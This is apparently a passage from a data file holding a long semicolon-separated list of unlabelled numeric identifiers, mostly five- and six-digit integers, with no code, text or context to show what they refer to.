9;50086;49052;85241;48285;18181;61571;18243;32397;62182;59556;65983;15392;99520;77571;59038;88041;85848;101903;71229;58426;11062;10829;35363;76597;46255;69378;44423;77222;104361;51190;100170;38155;94391;32318;35702;11602;10962;56210;24782;103749;10828;69059;73524;17231;34205;10193;73528;49307;11381;66404;56050;34269;84194;11102;42424;71378;51902;81815;25149;51057;50614;35088;51893;12224;73349;10545;88413;73475;62690;10278;77538;22255;74008;69132;79583;78624;49808;88681;64842;10902;44339;11671;33437;46814;34741;80961;27608;72581;18354;93737;70889;102176;28361;76456;76775;82998;47114;21608;49088;200042;83299;47621;55764;22115;11976;61561;11165;11752;20806;70368;34743;10590;34217;58604;77528;38154;31039;83305;21746;44417;76454;91602;62977;49020;80495;20928;70333;10997;80203;81421;88411;20247;42348;20736;11534;22903;69282;11281;73762;14640;74225;65702;73620;93940;51575;17154;11372;78744;91005;64534;25951;24813;21693;19383;58456;62800;22273;22272;89027;64559;22049;10913;85600;93002;25459;21209;76592;82702;83350;78774;81552;25952;11383;90352;19939;10438;76530;61597;23815;86601;80855;85909;10015;10066;84921;78737;51910;35913;92035;35185;62682;88145;11811;21917;82081;81550;93026;85299;16125;93531;91812;91760;65896;12205;91342;45358;69274;70530;62626;66427;30055;58794;25757;36117;46789;47802;84796;62948;104051;90022;80887;87249;31094;14300;104047;17752;11708;39339;64713;82706;26962;20016;86150;22478;11343;62783;49308;10725;64483;15555;14655;84621;53512;19780;61733;11169;94761;51921;82575;94165;10865;51118;66866;70879;87220;59908;63421;104046;69922;12110;38197;34501;22315;69840;49952;43827;40405;85602;85326;18460;18611;11853;17697;99308;17316;15763;66637;35751;63303;54628;95880;67099;69035;17704;78389;73338;22117;15627;86823;100783;72432;47888;23810;29747;58343;25821;33562;65059;27040;91192;10122;44875;11647;84797;25663;64645;17228;11158;11398;103565;73330;67211;71494;12038;70886;71522;62370;16336;83954;76129;35687;26067;99661;84223;91223;58512;12090;56245;67207;58183;88045;24786;17223;24331;19473;84879;20808;52002;53385;63477;83278;11825;19593;77706;55627;66414;65601;84763;15620;103857;43815;86571;101818;44382;22186;65733;57352;15399;19427;19678;80331;76404;10539;100051;81811;17157;58601;21576;23869;39437;72373;78919;62413;71993;90408;70139;73203;99514;19756;11242;16299;11436;91822;87124;70720;76259;77164;65947;10669;19429;10899;59685;63112;12051;77302;83814;74367;84917;65196;74243;102711;25996;11317;63380;65984;13844;53360;69181;84580;43173;11275;15926;10412;72213;10118;84669;50426;72264;91335;12087;11089;42338;69379;10612;20337;55470;70197;105001;71954;94108;22527;11742;31419;76410;73491;49001;77534;16111;65198;16046;69472;76591;66520;11149;200036;85275;55436;78748;65550;97665;10353;20322;100167;87943;81422;99590;77985;73439;19495;65576;88937;10965;57346;55460;11439;78077;83185;73598;10991;103568;23836;99729;97526;74148;76570;50451;10044;31608;22124;19416;25491;61609;51160;91502;70616;79723;78012;83817;57577;48973;11428;10531;63226;62412;70457;11660;51164;18365;67120;44341;42898;81267;100959;66761;66392;61516;24022;50000;99470;12096;87309;33135;76055;45381;103052;91131;81743;24785;81745;34084;97859;13638;23806;39481;59847;80490;91897;31860;21092;71263;14829;76581;68935;90764;104387;11508;18535;63548;10456;83732;88527;47680;47899;56007;64570;88384;70592;76309;71974;76866;18294;48961;72903;50385;11120;31133;50348;28329;104388;81551;83487;73992;15938;39501;91600;100351;21687;42438;11550;72181;76407;49696;70482;11855;20132;84399;10288;104101;99662;24281;14226;10584;95476;11429;54584;73806;16479;44075;11027;35308;47832;58431;88714;101817;70855;83369;51090;11685;69931;36129;56472;54969;11043;20379;17721;83304;103975;49978;30051;21645;83360;88530;64588;83955;69933;10919;10189;89118;66319;62811;94610;29895;48995;20749;51904;67212;21308;19392;97578;12260;93911;35437;72580;42292;91855;11375;40554;64457;52656;14256;72040;72620;40986;10487;77730;55926;26967;89784;70291;17203;50023;64846;69183;24276;10906;49999;90008;10274;80302;46885;73533;25929;71311;52584;58796;57711;104176;71095;21052;55690;11896;72909;12261;50084;88100;89783;25351;11049;27056;81594;30214;26919;91311;56319;70973;101847;59387;100574;12093;71846;104551;90604;28227;78545;10194;102019;14700;30130;95257;91899;85849;77409;90317;10477;11033;81601;92373;67232;72930;35657;52658;102821;82781;15479;51813;11022;11909;24737;17744;104661;16228;84089;41061;17308;46703;51168;20390;42842;17298;29801;53377;42262;56060;20292;87500;105023;17784;91895;16317;33745;103976;18532;62939;78511;88383;42254;44111;50048;64918;52532;22409;40853;87053;20968;69927;11325;10174;66526;20971;23804;18563;64829;55142;26023;54955;19238;78549;72042;94373;82270;10029;71635;11195;21673;34196;11130;55975;59756;92539;104043;11050;57709;55927;95474;97993;20892;58897;66860;12212;10151;10926;100000;79639;65881;61717;61622;11860;14831;80482;74189;10268;55549;16163;35060;16206;53382;76683;79273;38951;78890;10051;200030;99136;17337;72284;11307;84730;43028;94395;95630;33283;90786;42894;73382;58388;95722;19770;65046;200046;83738;94016;48243;11707;26012;70214;101812;10680;73303;100173;82770;72692;80858;46351;53375;97066;66895;69105;72582;103138;12011;70943;97733;64632;64574;90309;10052;10866;43828;64452;81298;46173;35219;12229;86873;56470;99029;71994;21240;59193;32325;18539;87054;43101;65736;77904;10090;12267;30109;17791;84766;44080;61646;48988;10008;79387;20224;69034;84574;12204;11294;10204;59097;15395;10203;28374;58003;44314;20336;10206;29929;104740;44320;34766;91604;72178;12251;44689;29250;10460;64621;77026;55902;58528;90602;18221;65612;50679;80918;76190;101165;16310;10183;65223;52000;49029;35750;14599;71437;11829;84923;64820;43163;11728;11612;66896;65049;70612;10155;24335;58133;31865;26199;10283;55795;71231;11677;10187;39365;60049;62009;90314;10275;33130;103506;51839;11251;93406;63337;81738;10497;59196;51987;60028;71054;15854;64582;96722;22196;60046;81735;85243;24356;88964;22417;19417;103695;31654;27598;14232;25769;42113;71429;76355;16229;91486;86470;25572;18641;103984;66865;91001;72742;14646;12254;79439;92434;69400;25763;1337005;16322;24336;34473;73133;67243;80963;50654;16477;86598;10619;73437;92415;11040;47781;94377;34406;42819;99289;97663;81787;88417;85962;12106;73574;11711;59116;77533;12236;31409;67210;81495;10215;91766;70732;15718;44876;19999;17771;12294;19596;16179;62687;65821;42110;69556;46349;56336;20286;42796;25687;87052;94514;45087;22189;87412;23636;17719;14713;19235;50977;65856;58349;38700;65927;91336;89755;63427;88579;100386;97020;29249;31046;11161;29994;14343;80832;74511;103534;10191;21674;42088;73914;71023;57317;92366;90442;103732;50978;60026;44937;71140;22480;17742;76312;62517;58009;84018;10923;86946;12039;56958;67125;34361;55639;86904;11780;12218;47801;69855;70079;100871;44383;82041;77478;19508;15708;51526;11209;45421;102269;42120;17768;47152;90831;34491;80202;104972;58661;92416;42978;28332;27582;57030;78011;101362;91000;105042;14722;11927;45478;40350;27855;55653;61714;59786;18813;90997;59208;34768;35467;40886;38688;69423;10445;81300;11875;58333;89685;58342;10762;10362;29309;72259;90357;17989;94136;10312;11839;65211;80199;31857;104052;43158;66722;54831;55025;24699;34850;25487;79126;73988;100168;34236;14220;12117;42833;11357;55169;90828;24242;10668;99028;15451;51171;72182;11177;10077;65970;85325;63453;11832;22408;96485;11379;56282;10302;15436;84221;21727;59241;76589;11162;27627;72504;60098;17839;64634;104996;65808;14181;59683;49175;81603;10389;10437;36216;58802;78074;14709;38808;58900;19752;20069;31683;32475;70531;53472;25294;21158;23978;80946;33817;104548;96393;19335;63372;49118;79860;25347;58654;76409;91014;70942;61434;77247;101268;63429;59846;74291;94671;33392;74495;10299;25702;22334;52458;73636;48432;83783;21162;24684;71046;50450;85331;87539;200049;19227;46182;79132;91609;82828;66696;11107;66813;10101;19518;70763;14584;19519;83141;71426;50547;104214;62028;26057;87925;11471;19516;104853;15396;79804;62681;17804;79690;39356;17748;62820;103053;17259;65212;94012;11417;25290;81268;76495;83297;49225;50692;58272;39563;84235;94640;66897;18301;91226;21556;66930;101302;62998;62759;63424;57461;16272;17794;73189;24329;103510;11546;99630;22254;93480;62355;50651;25039;17629;58327;103969;42478;89117;47136;14285;20385;81514;90025;55887;81702;45510;25700;16143;17706;65888;86322;56334;31788;14785;56751;92422;53811;47863;71841;90196;64487;18034;11007;55140;11348;58809;79215;39466;76252;11311;34216;16085;23724;50986;33815;17976;88578;29996;89113;20110;78920;95765;47681;84747;56306;78108;77531;82473;69444;102526;70097;92949;93408;12256;76308;104658;10993;72880;1337228;56737;74187;100573;25249;73080;73155;95716;10724;85402;35555;78482;33219;78431;11482;23782;14225;42107;100766;86445;101113;53829;104498;48950;96608;32400;73734;54970;57283;73343;59356;97891;51356;22867;56981;61492;53593;92439;53575;100025;25692;19557;96729;25025;61491;69926;89757;67123;21631;66351;22047;90763;68915;72286;33272;82855;46783;59714;50526;11109;59109;58591;23930;85346;18553;76458;47716;42308;93468;92018;95881;17672;13841;55471;11898;66941;92365;65950;12112;10049;17611;11822;14637;17297;14272;100957;53625;64287;11892;64843;18371;59655;44081;18628;15950;11970;58292;90407;11541;19499;101953;83525;48201;78915;25242;60065;95887;14664;42307;64298;101811;65889;90538;34695;97988;44059;50604;62313;73619;40984;81402;103924;10698;36161;56163;55903;74247;49149;73516;14284;42109;57600;69930;70850;38792;25023;63423;76411;47606;61494;11082;78627;17985;10257;14654;23997;19551;99731;94374;73989;12238;23972;83354;86818;79336;87766;103839;35451;63381;42108;25493;56241;69912;17831;64571;51342;78437;86323;99309;76215;200040;71858;103838;78429;90026;63618;74467;12059;26000;10838;25627;69038;23833;73682;77248;21185;87415;100768;21117;10050;71045;15450;45083;69420;11152;39331;18178;81595;50449;17212;92542;74249;22116;49646;15914;70883;16318;49014;90315;76621;65899;11932;11010;39447;11587;12000;58363;42475;63692;10423;59195;64921;21159;63063;47745;104639;99631;90566;42347;101820;77284;77001;21606;16123;26016;10856;66177;64825;56683;76937;38829;104570;77573;55993;17996;14274;69080;20973;36154;93527;53210;96002;82800;11594;69134;82773;45004;20384;94376;12240;11490;10192;200050;55133;76116;49028;1337002;18358;90940;14376;94365;11576;94575;14254;63560;19717;25216;36051;64244;59227;25524;22369;11287;18155;47022;70497;49699;76277;29834;34349;103420;16456;11622;11220;16316;69128;84046;87942;65985;62735;70302;76762;20865;87221;91917;11313;89925;39589;100161;31651;40988;104741;82583;33167;94290;96448;73831;85986;10254;11788;64723;70260;49086;89036;20321;40666;49237;56739;69137;58594;90246;100054;11351;59892;65857;12067;33522;68995;12268;17785;11369;55816;59461;33477;16339;91810;16124;90773;80221;58415;97997;89963;10697;1337009;40362;65890;57471;63551;102095;14278;62966;14360;88647;57943;51905;21785;21611;94633;72389;93001;42899;87171;56649;22046;24899;69269;30211;83815;100221;91821;49955;18658;32479;35041;73568;23644;35724;10376;100150;33393;35372;93222;10892;76944;18219;65701;57944;102842;44406;59528;59917;15972;12036;23829;12101;33872;10405;17749;15900;50562;99171;38985;14727;100759;10173;90799;65214;16126;79744;91765;72723;10746;63639;59501;44940;47605;102698;40419;50022;25220;90545;17795;20173;65875;80458;10256;12008;11378;40985;91764;22123;70587;72600;71377;72282;86945;100789;74253;22541;76529;99981;11865;11479;10110;97994;59642;70660;66499;73917;56176;69130;55402;33442;76596;62663;84571;93221;79584;11679;11328;78477;84919;82580;56053;12043;45039;44939;20977;11894;25336;57700;77503;104126;39467;88696;17219;76966;58655;17696;55811;48433;54989;32434;64913;11696;84368;25484;34412;85385;20298;74024;63352;72177;84290;57279;11761;72879;14656;11271;95469;50691;74245;28375;104629;39618;57029;16183;44657;25214;70628;25656;92821;47762;99168;90707;99130;79218;56317;17764;50860;54614;15852;11867;16162;15566;58968;66994;57273;50085;35824;11502;62782;97609;105000;22448;24273;11054;77541;14235;92944;26964;34730;11406;53845;33901;77712;24910;33903;93405;66987;39436;62029;52545;74466;34095;48286;85691;27619;71316;101294;34471;55692;19772;58450;11114;95290;12012;11392;17769;73610;23843;70948;42476;10675;14819;22128;45490;20978;86071;11601;79861;99026;86374;49000;10483;66671;43863;103786;10006;33106;62796;36144;74149;73756;95825;34121;73740;105004;93811;33822;59835;81515;31343;90683;34332;35749;95319;22312;64293;10904;25770;12108;61649;17638;63425;102267;21025;11191;79691;59325;51935;29869;34413;16331;18039;14772;10914;103505;11137;10934;44338;92789;101295;35779;10938;99439;63348;45395;91386;11453;84622;87823;20137;10079;69856;74261;80951;14641;27626;34049;47030;84020;72203;51836;64823;52536;64630;10728;67118;44426;89748;53623;76167;93473;45374;93346;48998;10901;56041;79585;93686;11106;19507;92757;85448;32121;94161;14187;85005;30107;86901;73531;45371;18176;73270;44419;45049;40468;20222;88713;11646;90541;11530;99437;78068;17739;17654;96873;22873;10439;91008;10402;24746;39808;78827;50070;74104;50432;78063;74288;34395;45429;20759;15641;91352;10564;66697;59967;88561;69060;86149;10374;83302;84826;97353;58992;58182;100671;83527;78541;71051;63289;72167;88087;94072;80120;102427;85333;86474;55543;93098;68888;99670;77373;23635;59857;10400;65194;33440;23699;92819;73134;84154;76510;95772;45627;80866;84220;33852;56954;72204;61395;84637;69369;77605;100790;69872;52026;83031;1337026;58453;103753;18046;91961;86850;77303;73291;47036;89724;103380;10282;97895;10214;56484;11614;42399;49779;76457;25026;96730;51176;16207;69371;15861;82708;10614;12637;25655;92019;95435;11562;48202;89752;1338001;44060;10522;35067;11219;62812;43069;43877;33505;81407;96908;58428;15466;44921;76124;67174;49693;22412;65604;25084;77728;58334;87263;95538;17821;38200;52713;104360;84090;55284;73920;35951;11306;11284;10310;73025;103675;15713;10565;14843;65126;56240;97943;87732;59408;11199;56467;86444;66555;35261;48337;73621;101301;62184;47028;10207;51573;81554;99664;70881;31792;50384;66390;59057;97145;78584;11616;72416;34407;24901;14724;45411;15862;42086;49050;1337021;43060;81810;53449;31417;70766;23816;48295;33879;51924;67144;35352;57080;31725;51351;69997;54943;83491;97328;57850;83488;92320;69180;55793;81548;86048;12047;81670;200029;35725;60161;81825;55904;103135;34029;73916;103697;17162;51892;79442;10928;28330;86830;59055;64576;1338002;82899;77855;91010;15563;19748;18573;66308;29981;73674;103376;99287;72830;93828;103985;87417;57920;90542;47557;72260;12647;59558;42259;99663;45051;103781;13659;61774;45406;80118;12225;25754;35621;10613;16064;17787;30124;77813;11088;70627;24875;91003;21153;11844;10627;77021;56992;25337;46237;76192;96447;23925;24280;24864;65880;10676;74496;20729;20169;45590;103978;45430;11413;46839;33820;83266;11035;10956;18012;99200;76314;66325;56125;66174;25879;10300;11411;21697;76616;10554;11565;53336;97835;72430;34363;70257;74106;69272;11897;81246;11202;73132;18182;10260;66944;18413;17306;55983;99594;97941;16278;77687;70320;15974;73949;14315;42260;100127;10666;10976;102528;19397;92843;103788;33873;52457;61612;11900;57026;104383;73768;66422;103140;97991;46016;57460;77056;45359;21242;70343;73963;46203;70295;60035;88594;52543;78024;34411;15432;11666;94680;91547;83352;26020;45018;69995;71428;58976;11293;99586;49228;26921;96269;76427;104637;58352;17313;78507;90000;39520;10609;15996;103567;46883;70412;11443;70074;59968;84645;35743;97326;81791;10769;88718;71323;58452;17782;30216;93534;16309;62797;104276;65792;14307;18638;10721;20377;34346;28181;35930;102779;71537;92585;40850;48942;88380;22900;74270;62202;12031;62757;62986;14273;44987;62989;59246;33856;10581;70142;94515;64914;69101;73415;55668;17970;24712;62563;18403;87947;22498;31418;90191;90590;63155;100260;71889;83733;76146;66306;47138;81974;94634;92440;73380;16312;89083;101773;76311;81247;19256;23977;28226;18258;33812;90199;90567;17351;88680;101162;42820;99982;23970;73738;56972;11264;76474;78513;49953;51914;62283;24235;11341;71177;33095;79862;56736;70090;11917;76770;55775;96803;90310;51162;35287;51177;11382;11876;22188;56024;24239;65876;72173;17282;76344;50510;83731;93077;47746;92823;83529;51080;77962;58400;54617;85804;91677;10768;51395;22333;86327;23963;78679;11498;71892;10303;59110;48363;84085;34404;33094;74147;90439;18029;91227;74269;66718;22269;58416;62101;10046;58389;11878;97833;29700;40494;16175;63147;31726;93482;88715;27585;34244;77710;53547;17327;44874;104847;10983;62310;69043;31129;19716;84057;89938;11087;71264;11560;19311;65222;11044;31040;70073;21039;11946;74162;58748;51367;1337013;42893;78828;104897;69182;65656;73623;74146;61708;11704;65925;52483;33268;99364;17205;87262;39342;27596;17827;58745;62686;100158;52668;20826;25422;61430;69993;71976;32130;40849;84959;87735;35559;21049;66273;11554;20096;92825;13857;71174;15710;18559;73098;77285;96611;76792;58620;70566;99985;61448;24872;90153;57713;21676;10379;17647;27524;72331;51120;79131;17700;83267;82028;10708;94008;96391;59400;30122;89104;83469;19550;87769;18133;46739;63059;19585;45043;69983;24001;14308;32442;95877;19759;94160;19334;94397;81976;63691;86950;45568;84402;63304;80566;93225;18679;40821;76536;12082;103467;52755;91488;16062;12060;81593;90705;55629;44079;19514;102921;54613;61573;57599;46868;55976;21332;100176;76973;54615;59906;52053;11721;84762;58592;22028;58648;10709;93005;59608;47588;61681;200005;47743;34060;27576;49040;71992;66719;55544;71464;29871;93379;78857;57690;91993;85538;10304;79720;10064;78069;10729;77004;81261;54582;49223;85223;80399;65670;22535;72393;103254;58429;11933;18051;94406;87421;11374;20825;85220;48204;58089;17350;81819;44401;72394;90509;50625;78914;101303;65765;11688;58565;73520;14248;14644;10757;76873;81147;15982;27856;18255;21302;10407;34162;59656;77811;12020;65255;62904;24014;55817;42346;11207;21733;79235;91894;35321;13843;20185;95762;104557;65820;66969;67214;86764;57914;85580;85513;30212;82530;22530;34347;70463;74266;23935;71861;87727;25681;53390;17614;54841;35474;17258;91816;77780;66556;11425;65675;86311;11985;33882;91230;53383;63399;84729;43850;93235;11771;77051;20846;51973;45506;44920;65688;11004;19289;96534;38157;35373;46313;35713;71521;31466;34507;91624;24355;15621;97214;48906;24012;45085;105040;19408;50597;31464;92700;18177;69880;10947;99933;97989;10114;66267;51454;92870;62030;82029;71926;100177;93048;21227;24013;26061;11921;19700;83904;70455;74366;58650;65790;62788;58386;104974;47701;94408;42263;61709;72103;68933;64821;10636;69133;42423;29222;85330;12199;48954;103137;63339;61565;66419;90360;85688;45405;10458;103536;87725;47164;87322;10104;55929;76117;85987;46677;62734;91340;67228;81382;11713;20183;69835;52975;78771;30209;51093;76617;77024;17688;44944;21091;11493;84502;17799;57981;11639;100203;18225;17734;58040;20389;14304;20246;21688;84800;87242;64685;76459;100844;31192;70098;15952;81182;11473;87818;80912;25612;69185;69016;65131;93528;71346;91813;10826;104144;58537;34238;92372;10341;76054;57604;10441;60034;10076;73471;93812;76795;25121;42180;77159;11786;78428;34447;62588;42932;81262;14634;90003;63094;90708;91622;17141;10778;18405;97861;32376;77731;93223;78585;96629;29728;77030;19607;91127;17746;55534;21035;62580;72108;11702;10083;93440;101374;81510;22181;76260;57541;23803;79253;59792;54300;74248;34461;51370;103358;84799;11943;62558;103789;64558;23801;45140;72683;56229;43063;95928;97211;57728;97730;25343;26201;30253;99032;36102;35978;47582;10223;70838;70446;51456;89670;64936;71351;65603;93563;34744;71457;71566;40797;10065;66861;102590;78013;10473;57825;12010;11302;72961;35737;33395;10258;17747;89868;22126;91999;63075;70622;11431;88695;22870;18622;25022;21557;70089;96765;88638;103129;93347;86721;11147;70624;33821;97610;74107;20982;53489;58898;49038;90888;55885;17194;11009;94329;10972;19398;15402;11212;77172;91714;55286;71568;104357;40803;62973;25998;76113;55792;24912;99398;44595;11501;34418;73026;39783;48205;56750;40802;72336;93004;11232;45503;74163;42148;66927;104408;64379;46199;20746;38198;70396;70100;15443;69327;47783;100104;11205;12073;81978;88563;72603;91102;96453;97894;11545;76598;65058;32314;13847;20373;85449;42264;79638;25161;56197;55403;72119;102355;16323;91338;59502;25088;61460;59916;10068;58147;34304;64785;11727;52459;59836;57540;57918;62439;42872;58657;25485;71460;78088;101370;103221;12265;31136;46705;16189;72691;69262;40888;73950;25927;14674;51816;17713;85348;61775;10478;72587;50346;72218;77186;73570;59248;70656;94577;24272;35043;96142;88379;82038;23778;97471;26918;76498;91820;73204;27054;53624;88086;90893;72669;11018;100099;83958;57557;49146;21627;46838;46816;91345;89754;45050;45489;11744;81494;96833;60084;84916;11762;76164;19496;103459;48762;62394;20253;92433;90625;34781;88985;11700;65898;45423;55411;15394;10399;82032;55969;69846;76994;20175;10854;64689;40578;91605;16364;62368;20245;51837;33487;99509;55410;34409;16474;34385;89690;34267;97999;73688;58105;18249;10655;49021;34156;59112;42336;31968;10512;38948;50380;10665;24903;46737;45554;96271;23996;84196;69057;93192;33277;22231;64580;100843;66541;72666;51143;52766;84367;10693;63111;100107;21322;80442;81376;86250;59243;55573;91100;69448;103927;63232;78109;15562;38742;26072;66634;70613;19947;80481;56650;11737;11778;81512;10147;20211;71644;71038;65602;64451;73274;11573;57350;31648;64474;71158;33762;35375;24906;72884;59035;71942;59729;65807;20925;97469;61393;36185;50659;56008;11522;48959;58206;11615;89035;64361;19942;83526;65996;72775;87420;17818;11667;64934;33274;100417;29928;101265;94379;18502;74242;73622;72374;32319;11459;95886;48760;23831;10498;31656;65810;77729;73982;31048;90192;17808;45112;92517;104900;11836;40778;78690;25925;78434;54606;25335;35042;66760;53384;18376;82707;32055;51849;27802;61461;10058;11472;64876;28183;90920;11024;11134;44135;17243;83030;80919;69376;100618;94049;70026;56310;86427;11314;92459;69170;88051;38746;78604;51124;56983;69319;29701;36217;78893;77029;12208;70088;22021;23649;78775;40495;71439;104631;14319;48289;11078;99995;64813;17759;68914;48943;52042;100717;54997;73616;70024;10297;11913;52613;56038;10089;15468;27522;84827;38889;81816;85736;38156;10205;79441;11441;76915;56022;14195;10317;73853;76767;15770;81259;71320;19764;16195;34265;66381;85082;92556;24018;11783;86852;73269;92945;18132;70121;100720;11030;67024;71314;62350;17307;72722;17152;31652;20134;11908;44645;84505;71022;66973;91782;40435;63418;87776;71312;18461;11936;11735;74010;101088;101026;62591;45006;22361;200028;11580;64456;93963;17602;64788;51142;103122;55571;100615;103701;12217;17656;51418;11139;70091;53451;1337221;10716;79245;99935;25932;93410;53632;78473;58645;11547;73476;65668;26966;68937;72009;96281;15985;48290;59862;82779;102360;63281;53379;19511;42435;91828;26013;94513;69238;25120;17778;69826;100425;81485;12104;11064;77823;15624;40889;33860;91348;102586;77149;72941;40552;91193;71946;16200;93003;74161;11574;82031;73318;63302;43007;33104;18486;89682;14615;96724;29870;44384;73246;95875;77536;92466;104634;11496;54647;90834;22964;35452;21307;100161;10930;82823;59360;48434;94630;99233;82994;74157;40349;77375;95926;63621;53877;95950;44045;51955;21309;40560;21330;81741;10535;78692;10210;55510;10011;34112;48948;10696;67171;90714;15613;17815;92417;59503;11859;77277;86820;79312;92555;87501;22932;76368;10408;78911;18415;14382;78393;100055;88044;78689;35633;10119;12099;15461;89830;86828;11850;35218;25662;58513;49056;17767;99365;92946;25345;10515;48996;10318;66993;61611;99523;81496;76388;23754;71217;33132;79234;97737;77437;86423;19769;69516;18401;77475;16223;90358;97354;40418;12259;67229;68983;77856;54602;31116;73182;100594;49053;11613;83734;89677;90007;15753;49773;78740;73456;40891;73755;57050;101365;77052;58413;66914;93611;93530;88807;74440;34083;85403;77501;20844;71859;11804;52014;96721;22874;73685;73342;64286;10496;21165;24874;10082;25992;62478;73344;63422;16198;73667;101085;10607;10393;85601;101902;62078;34368;18588;11817;71975;21078;56984;104888;43623;69377;30148;22317;82793;76494;77157;47040;14748;101526;77086;34510;23823;31352;34408;57560;24004;35359;10853;22475;46788;47577;29927;104461;101368;19494;83264;64845;31098;74218;102714;73348;20838;58010;78700;16313;77156;61486;59425;85298;72813;14301;62384;77169;58797;90627;23870;11349;81315;56037;20907;84639;73521;84263;55720;81404;49271;10047;73947;73412;94631;10553;24870;87253;59457;90525;52995;93525;53549;20219;66836;62683;10463;34769;10503;69430;31044;83877;43005;14686;84056;73985;18223;81490;11695;12097;85693;61797;18591;11150;25899;33201;87948;76313;89684;43066;59230;29741;10432;12018;85323;64394;69986;71806;54998;59402;26195;90526;72094;71844;59465;59557;33136;88090;77667;56874;31137;70556;47708;11994;13646;49997;62905;63417;92817;93788;17246;17634;59837;30204;96047;97100;20133;22129;11768;65078;80103;73498;10517;95631;84262;100934;35326;77184;103328;72725;104359;40870;18525;58430;12198;26915;95288;99372;72966;69800;55995;48956;10678;55144;55900;62785;76072;73671;99709;92461;31465;20976;93829;77557;97729;66393;30053;21737;102859;83184;69829;11884;12246;17811;14773;23753;11911;78087;59328;58831;90254;88936;82077;14390;25955;10557;25123;69471;45109;40458;102527;78542;88042;57859;10180;45440;84007;21024;78670;78079;59017;65914;32373;67121;70630;65982;10673;96828;70175;10582;88906;51388;18020;82698;42373;58681;10372;78858;58658;42372;15459;22005;70103;14182;11486;59375;67124;10805;56039;14803;44960;84164;79250;54844;63419;20147;35778;17705;58746;24274;59607;10964;90151;11344;76769;58516;61530;17367;49025;71435;84499;44596;70137;66256;77500;42977;32322;34948;103973;11176;78602;38183;17633;50652;86478;10502;81789;20254;96626;58770;10600;61718;70739;102918;12030;67204;81000;62746;77572;40470;1337223;22234;74293;10462;74246;11777;21625;10284;18522;22268;90861;64579;73854;64722;70742;25551;15762;64246;17792;11591;11197;81001;20750;38952;32137;17304;104890;104854;11941;68963;58975;11409;33480;100151;78082;81258;93111;21691;53641;77053;25902;10109;17991;71862;86255;78823;17727;78514;11618;58726;41980;81649;16204;35468;17222;88693;23928;10291;34209;87254;88843;19503;51664;72214;70972;14614;100385;12061;68879;84151;10681;76389;50546;56993;57862;11244;60081;24998;100220;64258;59797;87954;56239;24338;77987;89674;53876;20744;53514;73915;12638;88381;89785;17305;17736;88598;76405;25246;54580;67193;46015;58321;17329;86058;34099;70293;19386;86247;21053;48351;73864;64262;40773;11521;58994;10900;57800;88385;69276;21580;50689;69552;21787;29898;99199;84017;84086;16201;102202;11845;15722;85653;69866;71847;72039;84158;49691;14302;19946;12007;79137;55127;54605;53323;72482;35430;25765;16314;99105;13859;14227;62990;12017;11274;50687;90540;71944;59018;90066;93814;14388;10530;57770;62579;55797;21779;93962;25040;51876;86366;62621;47831;18166;81575;31132;17790;63242;51874;104886;78546;63095;79625;63113;20295;17293;34043;103746;91611;99587;11283;57666;104409;17604;19502;86916;25822;53391;63355;64589;100422;69929;10733;39767;96001;47803;63225;59911;78076;88694;70716;11253;79641;57043;91124;92630;94166;104547;84055;15859;11387;18587;30207;51925;103674;76262;18392;11592;55507;94403;48962;10434;78669;23835;84053;99283;72771;20970;63185;56198;53380;73379;92871;92787;25842;49807;83136;14336;13637;17230;61534;29855;14834;11579;80489;18503;11848;18139;57032;14719;19218;73644;42306;44076;84291;52611;42339;16321;66410;25085;96450;51815;84810;25811;71972;60119;56119;10629;84217;73515;31735;73373;25460;52050;56862;72185;49270;33866;61487;73209;102713;77539;103962;14659;17694;72859;31797;59171;85847;86822;40851;17983;84431;64567;24270;65050;93655;10280;73119;54842;10593;39852;18355;55650;92557;18216;50539;51458;31411;42087;72034;73299;100052;29867;99584;19689;21152;200026;52158;10632;41645;104127;20348;103672;72579;65951;90798;58409;57353;66480;44425;51998;47581;33899;59293;20833;55630;47579;10454;11091;10170;74423;65630;11514;38890;62461;90891;101090;87872;45422;10476;71941;18626;28289;72621;55473;17757;40420;24003;58231;11083;79640;65047;96305;69443;58651;36171;62940;60064;73991;49036;11069;61414;11558;14222;96486;64475;20926;73668;48991;34158;29854;14729;30057;43172;11468;88088;11785;12075;24735;47710;16334;11634;74041;41058;55907;17717;39346;11649;15529;58319;78675;74365;93224;42115;88679;52531;35822;62390;15517;85300;42053;11119;55445;46222;99671;100152;52673;10086;96610;200031;19758;12028;10112;23640;44110;33481;95468;32399;72510;64789;89680;19938;49949;22364;22073;66474;104898;65215;30219;63200;59559;73125;59359;48405;85845;74152;93810;21247;49224;62967;11830;65878;17829;64292;15905;18050;72180;89103;10171;20181;10727;82830;10987;67245;25755;104103;39469;29746;39809;65738;76788;35008;40822;18264;11144;72262;11006;99237;84289;50830;36072;14327;11322;65643;53548;84047;19547;87206;73672;76306;25693;35631;11703;77388;69333;54956;86899;15623;55577;62352;92437;21565;56711;59456;20834;25735;35009;56165;76936;70413;24275;43062;40805;86996;62810;55691;33133;80201;85887;77406;16327;17349;45623;58901;31120;56651;64485;55977;96770;11478;59357;84924;64555;45509;10023;101357;18681;11403;20251;18011;17692;71317;17735;29726;104437;77708;24902;101046;93229;73120;12053;29833;22203;104901;33926;11278;48287;11658;34851;73416;86192;65997;20062;86827;78075;45435;40617;21154;11148;86884;33270;70657;11015;35296;11042;90441;86653;59077;57337;78548;90190;70313;81126;23783;80303;19597;81602;93898;20003;33763;73641;104031;39500;45047;91162;18040;56510;18420;74122;90429;77003;58527;11495;12284;64484;103456;53492;46858;10848;19406;57978;72904;56391;14832;18098;81592;87953;57863;86061;78435;72041;50476;35360;35977;11301;86610;11481;55859;80910;101836;10806;10135;96831;21100;53536;25167;27600;11798;10977;19404;64826;53405;14375;72480;47712;65949;103131;94052;32194;86547;70456;58526;81919;19698;10264;90544;72773;18288;72008;11288;52704;103112;77984;95663;90308;70398;63241;20734;16045;74264;83520;21226;73804;83959;10453;67259;101168;84021;15484;11760;92457;59310;74328;77332;88412;81731;47765;24784;48975;77822;15715;57849;69050;74026;22368;11567;102272;78422;83490;22307;89781;65901;49007;59849;67122;70072;33128;65731;17823;63559;72092;70980;70683;57335;86060;10670;62744;76777;66176;87252;89052;56634;66871;11442;14800;26069;50513;77909;16216;92467;10591;10048;82848;27575;77711;66304;103986;81401;53475;59211;11596;92790;47744;55908;35804;21116;44116;69139;1337014;31679;104124;25037;1337003;42798;58445;77576;91461;11891;72007;1337029;86568;96905;20108;78444;22538;19695;15485;87733;69555;17723;91974;200012;39354;47580;48291;77703;99708;10266;63554;11686;48352;76165;11245;96607;20214;68939;90353;47861;14668;1337019;92414;22482;55901;11474;70885;103784;77581;60094;104665;89756;20910;91222;2